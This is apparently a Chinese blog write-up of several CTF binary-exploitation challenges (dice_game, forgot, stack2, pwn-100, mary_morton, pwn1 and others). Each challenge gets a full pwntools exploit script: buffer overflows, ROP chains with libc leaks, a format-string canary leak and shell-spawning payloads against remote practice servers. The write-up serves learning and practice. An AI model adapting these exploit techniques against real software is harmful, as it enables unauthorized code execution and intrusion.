攻防世界pwn高手进阶(持续更新)

[toc]

dice_game

IDA看一下:

1567242345912

1567242499901

这个和新手训练的guess_num一样都是猜数字,buf溢出改seed。:不多说了。

唯一的问题是附件中给的libc.so.6我好像没法用,写的exp一直提示我Illegal instruction (core dumped),很迷。

exp如下:

from pwn import *
from ctypes import *

p = remote('111.198.29.45', 30940)
#p = process('../files/dice_game')
c = CDLL('libc.so.6')
print(c)
payload = 'a' * 0x40 + p64(1)
c.srand(1)
p.recvuntil('name:')
p.sendline(payload)
for i in range(50):
    p.recvuntil('point(1~6):')
    p.sendline(str(c.rand()%6+1))
p.interactive()

得到flag:

1567242784679

warmup

这个题没给附件……我看了看别人的wp的代码,就是一个很简单的溢出,cat flag函数都现成的。直接写exp就行了:

from pwn import *


p = remote('111.198.29.45', 41547)
payload = 'a' * (0x40 + 8) + p64(0x40060d)
p.recvuntil('>')
p.sendline(payload)
print(p.recv())

得到flag:

1567245274637

forgot

题目描述:福克斯最近玩弄有限状态自动机。在探索概念实现正则表达式使用FSA他想实现一个电子邮件地址验证。 最近,Lua开始骚扰福克斯。对此,福克斯向Lua挑战斗智斗勇。福克斯承诺要奖励Lua,如果她能到不可达状态在FSA他实施过渡。可以在这里访问复制。 运行服务hack.bckdr.in:8009

看一下源码:

2019-09-01_184730

for循环是判断输入字符串是否符合格式,例如sub_8048702(v2[i])就是判断首字母是否为小写字母或数字或特定字符:

1567335394443

第88行的代码是根据v14的值调用v3~v12中的一个函数(输出字符串)。例如v3:

1567335494006

该程序调用函数和参数都是根据偏移量来调用,

1567335649804

程序中有system函数,因此我们的思路就是通过栈溢出让程序执行system函数,那么我们要知道我们输入的字符串的位置。

观察汇编代码可以得到v2(我们输入的字符串)的地址为[esp+10h]

于是开始构造exp运行,构造的过程中我发现调用system之后system执行的命令就是我们输入的字符串:

1567339763954

所以可以直接输入/bin/sh,但是只输入/bin/sh不能达到栈溢出的目的,需要占位符。用 ; 来隔离后面的无用的占位符,确保命令能正常执行。

如果我们输入/bin/sh,那么程序在判断输入字符串是否符合格式的时候就会调用sub_8048618(),因此我们就要修改[esp+34h]的地址为system的地址。那么和我们的[esp+10h]之间的偏移量就是36,也就是我们需要输入36个字符。

得到exp如下:

from pwn import *


p = remote('111.198.29.45', 35636)
#p = process('../files/forgot')
e = ELF('../files/forgot')
sys = e.symbols['system']
payload = '/bin/sh' + ';' + 'w' * 28 + p32(sys)
p.recvuntil('name?\n')
p.recvuntil('>')
p.sendline('name')
p.recvuntil('validate\n')
p.recvuntil('>')
p.sendline(payload)
p.interactive()

得到flag:

1567340251686

stack2

程序是一个求平均数的软件,输入一个数组,可以查看当前数组、添加和修改数组中的数还有求平均数。

看一下源码:

1567597713534

发现在修改数的时候没有判断数组越界,所以可以构造栈溢出。

看一下程序中发现有hackme函数:

1567597827722

那么就是构造栈溢出让程序返回到hackhere。

我们在第60行下断点,动态调试一下:

1568275633125

此时堆栈如图,可以看到FF942C68是v13的起始地址。

1568275967093

继续调试,按5退出,观察函数调用情况:

1568276152606

可以看到退出时调用函数所在栈的位置是FF942CEC,那么我们就要修改FF942CEC的值,那就可以得到偏移量为FF942CEC-FF942C68=0x84。

exp:

from pwn import *


p = remote('111.198.29.45',57626)
e = ELF('../files/stack2')

p.sendlineafter('How many numbers you have:\n', '1')
p.sendlineafter('Give me your numbers\n', '1')

offset = 0x84

def sendaddr(offset,addr):
    p.recvuntil('5. exit')
    p.sendline('3')
    p.recv()
    p.sendline(str(offset))
    p.recv()
    p.sendline(str(addr))

sendaddr(offset, 0x9B)
sendaddr(offset + 1, 0x85)
sendaddr(offset + 2, 0x04)
sendaddr(offset + 3, 0x08)

p.recvuntil('5. exit')
p.sendline('5')

p.interactive()

运行发现错误:

1568299593922

就感觉/bash怪怪的,那看来得自己传参了。由于system传入sh也可以执行shell,所以我们直接使用程序中的现成的sh就可以了。

1568301479701

exp如下:

from pwn import *


p = remote('111.198.29.45',57626)
e = ELF('../files/stack2')

p.sendlineafter('How many numbers you have:\n', '1')
p.sendlineafter('Give me your numbers\n', '1')
sys_addr = e.symbols['system']
log.success('system_addr => {}'.format(hex(sys_addr)))

offset = 0x84

def sendaddr(offset,addr):
    p.recvuntil('5. exit')
    p.sendline('3')
    p.recv()
    p.sendline(str(offset))
    p.recv()
    p.sendline(str(addr))
#sys_addr
sendaddr(offset, 0x50)
sendaddr(offset + 1, 0x84)
sendaddr(offset + 2, 0x04)
sendaddr(offset + 3, 0x08)

offset += 8
#sh_addr
sendaddr(offset, 0x87)
sendaddr(offset + 1, 0x89)
sendaddr(offset + 2, 0x04)
sendaddr(offset + 3, 0x08)

p.recvuntil('5. exit')
p.sendline('5')

p.interactive()

获得shell,得到flag:

1568301778145

pwn-100

这是一个64位的ELF文件:

1568260260975

IDA看一下源码:

1568260146451

1568265875900

v1存在栈溢出漏洞。程序中没有system函数,没有/bin/sh,由于是64位程序,所以需要利用ROP来传参数,关于ROP的学习,推荐个大佬的博客:ROP学习:64位栈溢出

程序中有read,puts,所以思路是调用puts把read的绝对地址泄露出来然后找到libc版本和偏移量把system和/bin/sh的地址找到,再调用system,传入/bin/sh拿到shell。参数通过ROP方法传递。

首先寻找ROP:

1568261009433

由于我们要用的puts和system函数都只需要一个参数,所以只需要rdi就可以。pop rdi; ret 的地址为0x0000000000400763。

exp如下:

from pwn import *
from LibcSearcher import *

#p = process('../files/pwn-100')
p = remote('111.198.29.45', 30013)
e = ELF('../files/pwn-100')


vuln = 0x40068e #是sub_40068E()的地址
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x0000000000400763

log.success('read_got_addr => {}'.format(hex(read_got)))
log.success('puts_plt_addr => {}'.format(hex(puts_plt)))

payload1 = 'a' * 0x48 
payload1 += p64(pop_rdi) + p64(read_got) + p64(puts_plt) #把read_got传入rdi,然后调用puts,puts把read_got打印出来
payload1 += p64(vuln) #返回sub_40068E()函数准备第二次继续攻击
payload1 += 'a' * (200 - len(payload1)) #程序要求一次需要输入200个字符,所以最后填满

p.send(payload1)
p.recv()  #回显bye~
read_leak = u64(p.recv()[1:-1].ljust(8,'\0')) #得到read的绝对坐标
log.success('read_leak_addr => {}'.format(hex(read_leak)))


libc = LibcSearcher('read', read_leak)
libc_base = read_leak - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

print 'system_addr:', hex(sys_addr)
print 'bin_sh_addr:', hex(bin_sh_addr)

payload2 = 'a' * 0x48
payload2 += p64(pop_rdi) + p64(bin_sh_addr) + p64(sys_addr)  #system('/bin/sh')
payload2 += 'a' * (200 - len(payload2))

p.send(payload2)

p.interactive()

执行exp,选择libc版本选0,得到shell:

1568302057127

得到flag:

1568266254184

mary_morton

题目描述:非常简单的热身pwn

首先看一下源码:

1572066823941

1572066856025

可以看到我们可以选择栈溢出漏洞或者是格式化字符串漏洞。

首先看一下栈溢出漏洞:

1572066925488

buf是很典型的栈溢出。

再看一下格式化字符串漏洞:

1572066976502

也是很典型的格式化字符串漏洞。

程序中还有一个目标函数:

1572067033370

那么思路很明确,就是栈溢出让程序返回到cat_flag(名字是我改的)得到flag就行了。但是这个程序有个问题,它开启了canary保护。

1572067142663

所以我们没办法直接进行栈溢出,否则就会报错,因此我们要绕过canary保护,这方面知识可以看CTFwiki

要绕过canary保护,其中一种方式是知道canary是多少,程序中可以看到canary的偏移量是0x90-8=0x88:

1572067798113

1572067814376

那么思路就是我们通过格式化字符串漏洞得知canary的值然后在栈溢出的时候把canary写进去,这样就可以绕过canary保护。

要想知道canary的值,就得知道canary在内存中的地址,我们通过代码可以知道格式化字符串的偏移量是6,而我们输入参数(buf)和canary之间的偏移为0x90 – 8 = 0x88字节,八个字节为一组,0x88 / 8 = 17,也就是说格式化字符串到canary的偏移是17+6=23,那么我们用%23$p就可以看到偏移量为23的内存的内容了。这样就可以得到canary。后面就是简单的栈溢出了。

构造exp如下:

from pwn import *


p = remote('111.198.29.45',58615)
#p = process('../files/mary_morton')
e = ELF('../files/mary_morton')

get_flag = 0x4008da
format_offset = 6

payload = "%23$p"

p.recvuntil('battle')
p.sendline('2')

p.sendline(payload)
p.recvuntil('0x')
canary = int(p.recv(16),16)

p.recvuntil('battle')
p.sendline('1')

payload2 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(get_flag)

p.sendline(payload2)

p.interactive()

得到flag:

1572067848834

monkey

这个题给了个js,打开之后是一个js shell,由于我不会js,我刚开始看的时候毫无头绪,还是用传统的方法打开IDA分析,啥也没看出来。后来发现这个题其实如果你知道js相关的知识就很简单了,js有个os.system函数,直接os.system(“/bin/sh”)就可以获取shell了。

image-20191030110610797

pwn1

image-20191102091949539

先运行看看:

image-20191102092031860

IDA打开看一下源码:

image-20191102091742929

可以看到一个典型的栈溢出,要构造的肯定是&s了。这个题没有现成的获取flag目标函数,因此我们就需要ROP。同时这个题有canary,因此我们需要绕过canary。

看一下&s:

image-20191102160837726

image-20191102160909600

var_8就是我们要获取的canary。

main函数的起始地址是0x400908。

那么思路就是首先通过puts得到canary,然后通过puts爆出read的真实地址,找到libc,然后在用libc中的system和/bin/sh反弹shell。要注意的一点就是canary的最后两位不是\x0a,而是\x00,因为我们在构造的时候输入0x88个a时还输入了一个回车,这个回车把canary最后的\x00覆盖成了\x0a。正是这个覆盖才让puts能输出canary。

64位通过rdi传参,首先获得rdi地址:

image-20191102160330688

exp如下:

from pwn import *
from LibcSearcher import *

#p = process('../files/babystack')
p = remote('111.198.29.45', 56221)
e = ELF('../files/babystack')

rdi_addr = 0x0000000000400a93
start = 0x400908

puts_plt = e.plt['puts']
read_got = e.got['read']
log.success('puts_plt_addr => {}'.format(hex(puts_plt)))
log.success('read_got_addr => {}'.format(hex(read_got)))

#found canary
p.sendlineafter('>> ','1')
payload = 'a' * 0x88
p.sendline(payload)
p.sendlineafter('>> ','2')
p.recvuntil('a' * 0x88 + '\n')
canary = u64(p.recv(7).rjust(8,'\x00'))
log.success('canary => {}'.format(hex(canary)))

#found real_read_address
p.sendlineafter('>> ','1')
payload = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(rdi_addr) + p64(read_got) + p64(puts_plt)
payload += p64(start)
p.sendline(payload)
p.sendlineafter('>> ','3')
real_read = u64(p.recv(8).ljust(8,'\x00'))
log.success('real_read_address => {}'.format(hex(real_read)))

#ROP
libc = LibcSearcher('read',real_read)
libc_base = real_read - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))

#get_shell
p.sendlineafter('>> ','1')
payload = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)
p.sendline(payload)
p.sendlineafter('>> ','3')

p.interactive()

运行,选择题目给的libc,得到flag:

image-20191102160654357

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

9 − 9 =